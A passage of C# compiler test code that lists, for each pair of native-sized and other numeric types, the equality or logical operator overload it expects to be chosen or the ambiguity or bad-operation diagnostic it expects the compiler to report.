binaryOps(symbol, "System.UIntPtr", "short?");
binaryOps(symbol, "System.UIntPtr", "ushort?");
binaryOps(symbol, "System.UIntPtr", "int?");
binaryOps(symbol, "System.UIntPtr", "uint?");
binaryOps(symbol, "System.UIntPtr", "nint?");
binaryOps(symbol, "System.UIntPtr", "nuint?");
binaryOps(symbol, "System.UIntPtr", "long?");
binaryOps(symbol, "System.UIntPtr", "ulong?");
binaryOps(symbol, "System.UIntPtr", "float?");
binaryOps(symbol, "System.UIntPtr", "double?");
binaryOps(symbol, "System.UIntPtr", "decimal?");
binaryOps(symbol, "System.UIntPtr", "System.IntPtr?");
binaryOps(symbol, "System.UIntPtr", "System.UIntPtr?");
binaryOps(symbol, "System.UIntPtr", "object");
binaryOps(symbol, "System.UIntPtr?", "string");
binaryOps(symbol, "System.UIntPtr?", "void*", null, null, getBadBinaryOpsDiagnostics(symbol, "System.UIntPtr?", "void*", includeVoidError: true), getBadBinaryOpsDiagnostics(symbol, "void*", "System.UIntPtr?", includeVoidError: true));
binaryOps(symbol, "System.UIntPtr?", "bool");
binaryOps(symbol, "System.UIntPtr?", "char");
binaryOps(symbol, "System.UIntPtr?", "sbyte");
binaryOps(symbol, "System.UIntPtr?", "byte");
binaryOps(symbol, "System.UIntPtr?", "short");
binaryOps(symbol, "System.UIntPtr?", "ushort");
binaryOps(symbol, "System.UIntPtr?", "int");
binaryOps(symbol, "System.UIntPtr?", "uint");
binaryOps(symbol, "System.UIntPtr?", "nint");
binaryOps(symbol, "System.UIntPtr?", "nuint");
binaryOps(symbol, "System.UIntPtr?", "long");
binaryOps(symbol, "System.UIntPtr?", "ulong");
binaryOps(symbol, "System.UIntPtr?", "float");
binaryOps(symbol, "System.UIntPtr?", "double");
binaryOps(symbol, "System.UIntPtr?", "decimal");
binaryOps(symbol, "System.UIntPtr?", "System.IntPtr");
binaryOps(symbol, "System.UIntPtr?", "System.UIntPtr");
binaryOps(symbol, "System.UIntPtr?", "bool?");
binaryOps(symbol, "System.UIntPtr?", "char?");
binaryOps(symbol, "System.UIntPtr?", "sbyte?");
binaryOps(symbol, "System.UIntPtr?", "byte?");
binaryOps(symbol, "System.UIntPtr?", "short?");
binaryOps(symbol, "System.UIntPtr?", "ushort?");
binaryOps(symbol, "System.UIntPtr?", "int?");
binaryOps(symbol, "System.UIntPtr?", "uint?");
binaryOps(symbol, "System.UIntPtr?", "nint?");
binaryOps(symbol, "System.UIntPtr?", "nuint?");
binaryOps(symbol, "System.UIntPtr?", "long?");
binaryOps(symbol, "System.UIntPtr?", "ulong?");
binaryOps(symbol, "System.UIntPtr?", "float?");
binaryOps(symbol, "System.UIntPtr?", "double?");
binaryOps(symbol, "System.UIntPtr?", "decimal?");
binaryOps(symbol, "System.UIntPtr?", "System.IntPtr?");
binaryOps(symbol, "System.UIntPtr?", "System.UIntPtr?");
}
foreach ((string symbol, string name) in equalityOperators)
{
binaryOps(symbol, "nint", "object");
binaryOps(symbol, "nint", "string");
binaryOps(symbol, "nint", "void*", null, null, getBadBinaryOpsDiagnostics(symbol, "nint", "void*"), getBadBinaryOpsDiagnostics(symbol, "void*", "nint"));
binaryOps(symbol, "nint", "bool");
binaryOps(symbol, "nint", "char", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "sbyte", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "byte", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "short", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "ushort", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "int", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "uint", $"bool long.{name}(long left, long right)");
binaryOps(symbol, "nint", "nint", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "nuint", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nint", "nuint"), getAmbiguousBinaryOpsDiagnostics(symbol, "nuint", "nint"));
binaryOps(symbol, "nint", "long", $"bool long.{name}(long left, long right)");
binaryOps(symbol, "nint", "ulong", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nint", "ulong"), getAmbiguousBinaryOpsDiagnostics(symbol, "ulong", "nint"));
binaryOps(symbol, "nint", "float", $"bool float.{name}(float left, float right)");
binaryOps(symbol, "nint", "double", $"bool double.{name}(double left, double right)");
binaryOps(symbol, "nint", "decimal", $"bool decimal.{name}(decimal left, decimal right)");
binaryOps(symbol, "nint", "System.IntPtr", $"bool System.IntPtr.{name}(System.IntPtr value1, System.IntPtr value2)");
binaryOps(symbol, "nint", "System.UIntPtr");
binaryOps(symbol, "nint", "bool?");
binaryOps(symbol, "nint", "char?", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "sbyte?", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "byte?", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "short?", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "ushort?", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "int?", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "uint?", $"bool long.{name}(long left, long right)");
binaryOps(symbol, "nint", "nint?", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "nuint?", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nint", "nuint?"), getAmbiguousBinaryOpsDiagnostics(symbol, "nuint?", "nint"));
binaryOps(symbol, "nint", "long?", $"bool long.{name}(long left, long right)");
binaryOps(symbol, "nint", "ulong?", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nint", "ulong?"), getAmbiguousBinaryOpsDiagnostics(symbol, "ulong?", "nint"));
binaryOps(symbol, "nint", "float?", $"bool float.{name}(float left, float right)");
binaryOps(symbol, "nint", "double?", $"bool double.{name}(double left, double right)");
binaryOps(symbol, "nint", "decimal?", $"bool decimal.{name}(decimal left, decimal right)");
binaryOps(symbol, "nint", "System.IntPtr?", $"bool System.IntPtr.{name}(System.IntPtr value1, System.IntPtr value2)");
binaryOps(symbol, "nint", "System.UIntPtr?");
binaryOps(symbol, "nint", "object");
binaryOps(symbol, "nint?", "string");
binaryOps(symbol, "nint?", "void*", null, null, getBadBinaryOpsDiagnostics(symbol, "nint?", "void*"), getBadBinaryOpsDiagnostics(symbol, "void*", "nint?"));
binaryOps(symbol, "nint?", "bool");
binaryOps(symbol, "nint?", "char", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "sbyte", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "byte", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "short", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "ushort", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "int", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "uint", $"bool long.{name}(long left, long right)");
binaryOps(symbol, "nint?", "nint", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "nuint", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nint?", "nuint"), getAmbiguousBinaryOpsDiagnostics(symbol, "nuint", "nint?"));
binaryOps(symbol, "nint?", "long", $"bool long.{name}(long left, long right)");
binaryOps(symbol, "nint?", "ulong", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nint?", "ulong"), getAmbiguousBinaryOpsDiagnostics(symbol, "ulong", "nint?"));
binaryOps(symbol, "nint?", "float", $"bool float.{name}(float left, float right)");
binaryOps(symbol, "nint?", "double", $"bool double.{name}(double left, double right)");
binaryOps(symbol, "nint?", "decimal", $"bool decimal.{name}(decimal left, decimal right)");
binaryOps(symbol, "nint?", "System.IntPtr", $"bool System.IntPtr.{name}(System.IntPtr value1, System.IntPtr value2)");
binaryOps(symbol, "nint?", "System.UIntPtr");
binaryOps(symbol, "nint?", "bool?");
binaryOps(symbol, "nint?", "char?", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "sbyte?", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "byte?", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "short?", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "ushort?", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "int?", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "uint?", $"bool long.{name}(long left, long right)");
binaryOps(symbol, "nint?", "nint?", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "nuint?", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nint?", "nuint?"), getAmbiguousBinaryOpsDiagnostics(symbol, "nuint?", "nint?"));
binaryOps(symbol, "nint?", "long?", $"bool long.{name}(long left, long right)");
binaryOps(symbol, "nint?", "ulong?", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nint?", "ulong?"), getAmbiguousBinaryOpsDiagnostics(symbol, "ulong?", "nint?"));
binaryOps(symbol, "nint?", "float?", $"bool float.{name}(float left, float right)");
binaryOps(symbol, "nint?", "double?", $"bool double.{name}(double left, double right)");
binaryOps(symbol, "nint?", "decimal?", $"bool decimal.{name}(decimal left, decimal right)");
binaryOps(symbol, "nint?", "System.IntPtr?", $"bool System.IntPtr.{name}(System.IntPtr value1, System.IntPtr value2)");
binaryOps(symbol, "nint?", "System.UIntPtr?");
binaryOps(symbol, "nuint", "object");
binaryOps(symbol, "nuint", "string");
binaryOps(symbol, "nuint", "void*", null, null, getBadBinaryOpsDiagnostics(symbol, "nuint", "void*"), getBadBinaryOpsDiagnostics(symbol, "void*", "nuint"));
binaryOps(symbol, "nuint", "bool");
binaryOps(symbol, "nuint", "char", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "sbyte", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "byte", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "short", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "ushort", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "int", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint", "int"), getAmbiguousBinaryOpsDiagnostics(symbol, "int", "nuint"));
binaryOps(symbol, "nuint", "uint", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "nint", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint", "nint"), getAmbiguousBinaryOpsDiagnostics(symbol, "nint", "nuint"));
binaryOps(symbol, "nuint", "nuint", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "long", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint", "long"), getAmbiguousBinaryOpsDiagnostics(symbol, "long", "nuint"));
binaryOps(symbol, "nuint", "ulong", $"bool ulong.{name}(ulong left, ulong right)");
binaryOps(symbol, "nuint", "float", $"bool float.{name}(float left, float right)");
binaryOps(symbol, "nuint", "double", $"bool double.{name}(double left, double right)");
binaryOps(symbol, "nuint", "decimal", $"bool decimal.{name}(decimal left, decimal right)");
binaryOps(symbol, "nuint", "System.IntPtr");
binaryOps(symbol, "nuint", "System.UIntPtr", $"bool System.UIntPtr.{name}(System.UIntPtr value1, System.UIntPtr value2)");
binaryOps(symbol, "nuint", "bool?");
binaryOps(symbol, "nuint", "char?", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "sbyte?", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "byte?", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "short?", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "ushort?", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "int?", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint", "int?"), getAmbiguousBinaryOpsDiagnostics(symbol, "int?", "nuint"));
binaryOps(symbol, "nuint", "uint?", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "nint?", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint", "nint?"), getAmbiguousBinaryOpsDiagnostics(symbol, "nint?", "nuint"));
binaryOps(symbol, "nuint", "nuint?", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "long?", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint", "long?"), getAmbiguousBinaryOpsDiagnostics(symbol, "long?", "nuint"));
binaryOps(symbol, "nuint", "ulong?", $"bool ulong.{name}(ulong left, ulong right)");
binaryOps(symbol, "nuint", "float?", $"bool float.{name}(float left, float right)");
binaryOps(symbol, "nuint", "double?", $"bool double.{name}(double left, double right)");
binaryOps(symbol, "nuint", "decimal?", $"bool decimal.{name}(decimal left, decimal right)");
binaryOps(symbol, "nuint", "System.IntPtr?");
binaryOps(symbol, "nuint", "System.UIntPtr?", $"bool System.UIntPtr.{name}(System.UIntPtr value1, System.UIntPtr value2)");
binaryOps(symbol, "nuint?", "object");
binaryOps(symbol, "nuint?", "string");
binaryOps(symbol, "nuint?", "void*", null, null, getBadBinaryOpsDiagnostics(symbol, "nuint?", "void*"), getBadBinaryOpsDiagnostics(symbol, "void*", "nuint?"));
binaryOps(symbol, "nuint?", "bool");
binaryOps(symbol, "nuint?", "char", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "sbyte", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "byte", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "short", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "ushort", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "int", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint?", "int"), getAmbiguousBinaryOpsDiagnostics(symbol, "int", "nuint?"));
binaryOps(symbol, "nuint?", "uint", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "nint", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint?", "nint"), getAmbiguousBinaryOpsDiagnostics(symbol, "nint", "nuint?"));
binaryOps(symbol, "nuint?", "nuint", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "long", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint?", "long"), getAmbiguousBinaryOpsDiagnostics(symbol, "long", "nuint?"));
binaryOps(symbol, "nuint?", "ulong", $"bool ulong.{name}(ulong left, ulong right)");
binaryOps(symbol, "nuint?", "float", $"bool float.{name}(float left, float right)");
binaryOps(symbol, "nuint?", "double", $"bool double.{name}(double left, double right)");
binaryOps(symbol, "nuint?", "decimal", $"bool decimal.{name}(decimal left, decimal right)");
binaryOps(symbol, "nuint?", "System.IntPtr");
binaryOps(symbol, "nuint?", "System.UIntPtr", $"bool System.UIntPtr.{name}(System.UIntPtr value1, System.UIntPtr value2)");
binaryOps(symbol, "nuint?", "bool?");
binaryOps(symbol, "nuint?", "char?", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "sbyte?", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "byte?", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "short?", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "ushort?", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "int?", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint?", "int?"), getAmbiguousBinaryOpsDiagnostics(symbol, "int?", "nuint?"));
binaryOps(symbol, "nuint?", "uint?", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "nint?", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint?", "nint?"), getAmbiguousBinaryOpsDiagnostics(symbol, "nint?", "nuint?"));
binaryOps(symbol, "nuint?", "nuint?", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "long?", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint?", "long?"), getAmbiguousBinaryOpsDiagnostics(symbol, "long?", "nuint?"));
binaryOps(symbol, "nuint?", "ulong?", $"bool ulong.{name}(ulong left, ulong right)");
binaryOps(symbol, "nuint?", "float?", $"bool float.{name}(float left, float right)");
binaryOps(symbol, "nuint?", "double?", $"bool double.{name}(double left, double right)");
binaryOps(symbol, "nuint?", "decimal?", $"bool decimal.{name}(decimal left, decimal right)");
binaryOps(symbol, "nuint?", "System.IntPtr?");
binaryOps(symbol, "nuint?", "System.UIntPtr?", $"bool System.UIntPtr.{name}(System.UIntPtr value1, System.UIntPtr value2)");
binaryOps(symbol, "System.IntPtr", "object");
binaryOps(symbol, "System.IntPtr", "string");
binaryOps(symbol, "System.IntPtr", "void*");
binaryOps(symbol, "System.IntPtr", "bool");
binaryOps(symbol, "System.IntPtr", "char");
binaryOps(symbol, "System.IntPtr", "sbyte");
binaryOps(symbol, "System.IntPtr", "byte");
binaryOps(symbol, "System.IntPtr", "short");
binaryOps(symbol, "System.IntPtr", "ushort");
binaryOps(symbol, "System.IntPtr", "int");
binaryOps(symbol, "System.IntPtr", "uint");
binaryOps(symbol, "System.IntPtr", "nint", $"bool System.IntPtr.{name}(System.IntPtr value1, System.IntPtr value2)");
binaryOps(symbol, "System.IntPtr", "nuint");
binaryOps(symbol, "System.IntPtr", "long");
binaryOps(symbol, "System.IntPtr", "ulong");
binaryOps(symbol, "System.IntPtr", "float");
binaryOps(symbol, "System.IntPtr", "double");
binaryOps(symbol, "System.IntPtr", "decimal");
binaryOps(symbol, "System.IntPtr", "System.IntPtr", $"bool System.IntPtr.{name}(System.IntPtr value1, System.IntPtr value2)");
binaryOps(symbol, "System.IntPtr", "System.UIntPtr");
binaryOps(symbol, "System.IntPtr", "bool?");
binaryOps(symbol, "System.IntPtr", "char?");
binaryOps(symbol, "System.IntPtr", "sbyte?");
binaryOps(symbol, "System.IntPtr", "byte?");
binaryOps(symbol, "System.IntPtr", "short?");
binaryOps(symbol, "System.IntPtr", "ushort?");
binaryOps(symbol, "System.IntPtr", "int?");
binaryOps(symbol, "System.IntPtr", "uint?");
binaryOps(symbol, "System.IntPtr", "nint?", $"bool System.IntPtr.{name}(System.IntPtr value1, System.IntPtr value2)");
binaryOps(symbol, "System.IntPtr", "nuint?");
binaryOps(symbol, "System.IntPtr", "long?");
binaryOps(symbol, "System.IntPtr", "ulong?");
binaryOps(symbol, "System.IntPtr", "float?");
binaryOps(symbol, "System.IntPtr", "double?");
binaryOps(symbol, "System.IntPtr", "decimal?");
binaryOps(symbol, "System.IntPtr", "System.IntPtr?", $"bool System.IntPtr.{name}(System.IntPtr value1, System.IntPtr value2)");
binaryOps(symbol, "System.IntPtr", "System.UIntPtr?");
binaryOps(symbol, "System.IntPtr", "object");
binaryOps(symbol, "System.IntPtr?", "string");
binaryOps(symbol, "System.IntPtr?", "void*");
binaryOps(symbol, "System.IntPtr?", "bool");
binaryOps(symbol, "System.IntPtr?", "char");
binaryOps(symbol, "System.IntPtr?", "sbyte");
binaryOps(symbol, "System.IntPtr?", "byte");
binaryOps(symbol, "System.IntPtr?", "short");
binaryOps(symbol, "System.IntPtr?", "ushort");
binaryOps(symbol, "System.IntPtr?", "int");
binaryOps(symbol, "System.IntPtr?", "uint");
binaryOps(symbol, "System.IntPtr?", "nint", $"bool System.IntPtr.{name}(System.IntPtr value1, System.IntPtr value2)");
binaryOps(symbol, "System.IntPtr?", "nuint");
binaryOps(symbol, "System.IntPtr?", "long");
binaryOps(symbol, "System.IntPtr?", "ulong");
binaryOps(symbol, "System.IntPtr?", "float");
binaryOps(symbol, "System.IntPtr?", "double");
binaryOps(symbol, "System.IntPtr?", "decimal");
binaryOps(symbol, "System.IntPtr?", "System.IntPtr", $"bool System.IntPtr.{name}(System.IntPtr value1, System.IntPtr value2)");
binaryOps(symbol, "System.IntPtr?", "System.UIntPtr");
binaryOps(symbol, "System.IntPtr?", "bool?");
binaryOps(symbol, "System.IntPtr?", "char?");
binaryOps(symbol, "System.IntPtr?", "sbyte?");
binaryOps(symbol, "System.IntPtr?", "byte?");
binaryOps(symbol, "System.IntPtr?", "short?");
binaryOps(symbol, "System.IntPtr?", "ushort?");
binaryOps(symbol, "System.IntPtr?", "int?");
binaryOps(symbol, "System.IntPtr?", "uint?");
binaryOps(symbol, "System.IntPtr?", "nint?", $"bool System.IntPtr.{name}(System.IntPtr value1, System.IntPtr value2)");
binaryOps(symbol, "System.IntPtr?", "nuint?");
binaryOps(symbol, "System.IntPtr?", "long?");
binaryOps(symbol, "System.IntPtr?", "ulong?");
binaryOps(symbol, "System.IntPtr?", "float?");
binaryOps(symbol, "System.IntPtr?", "double?");
binaryOps(symbol, "System.IntPtr?", "decimal?");
binaryOps(symbol, "System.IntPtr?", "System.IntPtr?", $"bool System.IntPtr.{name}(System.IntPtr value1, System.IntPtr value2)");
binaryOps(symbol, "System.IntPtr?", "System.UIntPtr?");
binaryOps(symbol, "System.UIntPtr", "object");
binaryOps(symbol, "System.UIntPtr", "string");
binaryOps(symbol, "System.UIntPtr", "void*");
binaryOps(symbol, "System.UIntPtr", "bool");
binaryOps(symbol, "System.UIntPtr", "char");
binaryOps(symbol, "System.UIntPtr", "sbyte");
binaryOps(symbol, "System.UIntPtr", "byte");
binaryOps(symbol, "System.UIntPtr", "short");
binaryOps(symbol, "System.UIntPtr", "ushort");
binaryOps(symbol, "System.UIntPtr", "int");
binaryOps(symbol, "System.UIntPtr", "uint");
binaryOps(symbol, "System.UIntPtr", "nint");
binaryOps(symbol, "System.UIntPtr", "nuint", $"bool System.UIntPtr.{name}(System.UIntPtr value1, System.UIntPtr value2)");
binaryOps(symbol, "System.UIntPtr", "long");
binaryOps(symbol, "System.UIntPtr", "ulong");
binaryOps(symbol, "System.UIntPtr", "float");
binaryOps(symbol, "System.UIntPtr", "double");
binaryOps(symbol, "System.UIntPtr", "decimal");
binaryOps(symbol, "System.UIntPtr", "System.IntPtr");
binaryOps(symbol, "System.UIntPtr", "System.UIntPtr", $"bool System.UIntPtr.{name}(System.UIntPtr value1, System.UIntPtr value2)");
binaryOps(symbol, "System.UIntPtr", "bool?");
binaryOps(symbol, "System.UIntPtr", "char?");
binaryOps(symbol, "System.UIntPtr", "sbyte?");
binaryOps(symbol, "System.UIntPtr", "byte?");
binaryOps(symbol, "System.UIntPtr", "short?");
binaryOps(symbol, "System.UIntPtr", "ushort?");
binaryOps(symbol, "System.UIntPtr", "int?");
binaryOps(symbol, "System.UIntPtr", "uint?");
binaryOps(symbol, "System.UIntPtr", "nint?");
binaryOps(symbol, "System.UIntPtr", "nuint?", $"bool System.UIntPtr.{name}(System.UIntPtr value1, System.UIntPtr value2)");
binaryOps(symbol, "System.UIntPtr", "long?");
binaryOps(symbol, "System.UIntPtr", "ulong?");
binaryOps(symbol, "System.UIntPtr", "float?");
binaryOps(symbol, "System.UIntPtr", "double?");
binaryOps(symbol, "System.UIntPtr", "decimal?");
binaryOps(symbol, "System.UIntPtr", "System.IntPtr?");
binaryOps(symbol, "System.UIntPtr", "System.UIntPtr?", $"bool System.UIntPtr.{name}(System.UIntPtr value1, System.UIntPtr value2)");
binaryOps(symbol, "System.UIntPtr", "object");
binaryOps(symbol, "System.UIntPtr?", "string");
binaryOps(symbol, "System.UIntPtr?", "void*");
binaryOps(symbol, "System.UIntPtr?", "bool");
binaryOps(symbol, "System.UIntPtr?", "char");
binaryOps(symbol, "System.UIntPtr?", "sbyte");
binaryOps(symbol, "System.UIntPtr?", "byte");
binaryOps(symbol, "System.UIntPtr?", "short");
binaryOps(symbol, "System.UIntPtr?", "ushort");
binaryOps(symbol, "System.UIntPtr?", "int");
binaryOps(symbol, "System.UIntPtr?", "uint");
binaryOps(symbol, "System.UIntPtr?", "nint");
binaryOps(symbol, "System.UIntPtr?", "nuint", $"bool System.UIntPtr.{name}(System.UIntPtr value1, System.UIntPtr value2)");
binaryOps(symbol, "System.UIntPtr?", "long");
binaryOps(symbol, "System.UIntPtr?", "ulong");
binaryOps(symbol, "System.UIntPtr?", "float");
binaryOps(symbol, "System.UIntPtr?", "double");
binaryOps(symbol, "System.UIntPtr?", "decimal");
binaryOps(symbol, "System.UIntPtr?", "System.IntPtr");
binaryOps(symbol, "System.UIntPtr?", "System.UIntPtr", $"bool System.UIntPtr.{name}(System.UIntPtr value1, System.UIntPtr value2)");
binaryOps(symbol, "System.UIntPtr?", "bool?");
binaryOps(symbol, "System.UIntPtr?", "char?");
binaryOps(symbol, "System.UIntPtr?", "sbyte?");
binaryOps(symbol, "System.UIntPtr?", "byte?");
binaryOps(symbol, "System.UIntPtr?", "short?");
binaryOps(symbol, "System.UIntPtr?", "ushort?");
binaryOps(symbol, "System.UIntPtr?", "int?");
binaryOps(symbol, "System.UIntPtr?", "uint?");
binaryOps(symbol, "System.UIntPtr?", "nint?");
binaryOps(symbol, "System.UIntPtr?", "nuint?", $"bool System.UIntPtr.{name}(System.UIntPtr value1, System.UIntPtr value2)");
binaryOps(symbol, "System.UIntPtr?", "long?");
binaryOps(symbol, "System.UIntPtr?", "ulong?");
binaryOps(symbol, "System.UIntPtr?", "float?");
binaryOps(symbol, "System.UIntPtr?", "double?");
binaryOps(symbol, "System.UIntPtr?", "decimal?");
binaryOps(symbol, "System.UIntPtr?", "System.IntPtr?");
binaryOps(symbol, "System.UIntPtr?", "System.UIntPtr?", $"bool System.UIntPtr.{name}(System.UIntPtr value1, System.UIntPtr value2)");
}
foreach ((string symbol, string name) in logicalOperators)
{
binaryOps(symbol, "nint", "object");
binaryOps(symbol, "nint", "string");
binaryOps(symbol, "nint", "void*", null, null, getBadBinaryOpsDiagnostics(symbol, "nint", "void*", includeVoidError: true), getBadBinaryOpsDiagnostics(symbol, "void*", "nint", includeVoidError: true));
binaryOps(symbol, "nint", "bool");
binaryOps(symbol, "nint", "char", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "sbyte", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "byte", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "short", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "ushort", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "int", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "uint", $"long long.{name}(long left, long right)");
binaryOps(symbol, "nint", "nint", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "nuint");
binaryOps(symbol, "nint", "long", $"long long.{name}(long left, long right)");
binaryOps(symbol, "nint", "ulong");
binaryOps(symbol, "nint", "float");
binaryOps(symbol, "nint", "double");
binaryOps(symbol, "nint", "decimal");
binaryOps(symbol, "nint", "System.IntPtr", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "System.UIntPtr");
binaryOps(symbol, "nint", "bool?");
binaryOps(symbol, "nint", "char?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "sbyte?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "byte?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "short?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "ushort?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "int?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "uint?", $"long long.{name}(long left, long right)");
binaryOps(symbol, "nint", "nint?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "nuint?");
binaryOps(symbol, "nint", "long?", $"long long.{name}(long left, long right)");
binaryOps(symbol, "nint", "ulong?");
binaryOps(symbol, "nint", "float?");
binaryOps(symbol, "nint", "double?");
binaryOps(symbol, "nint", "decimal?");
binaryOps(symbol, "nint", "System.IntPtr?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "System.UIntPtr?");
binaryOps(symbol, "nint", "object");
binaryOps(symbol, "nint?", "string");
binaryOps(symbol, "nint?", "void*", null, null, getBadBinaryOpsDiagnostics(symbol, "nint?", "void*", includeVoidError: true), getBadBinaryOpsDiagnostics(symbol, "void*", "nint?", includeVoidError: true));
binaryOps(symbol, "nint?", "bool");
binaryOps(symbol, "nint?", "char", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "sbyte", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "byte", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "short", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "ushort", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "int", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "uint", $"long long.{name}(long left, long right)");
binaryOps(symbol, "nint?", "nint", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "nuint");
binaryOps(symbol, "nint?", "long", $"long long.{name}(long left, long right)");
binaryOps(symbol, "nint?", "ulong");
binaryOps(symbol, "nint?", "float");
binaryOps(symbol, "nint?", "double");
binaryOps(symbol, "nint?", "decimal");
binaryOps(symbol, "nint?", "System.IntPtr", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "System.UIntPtr");
binaryOps(symbol, "nint?", "bool?");
binaryOps(symbol, "nint?", "char?", $"nint nint.{name}(nint left, nint right)");
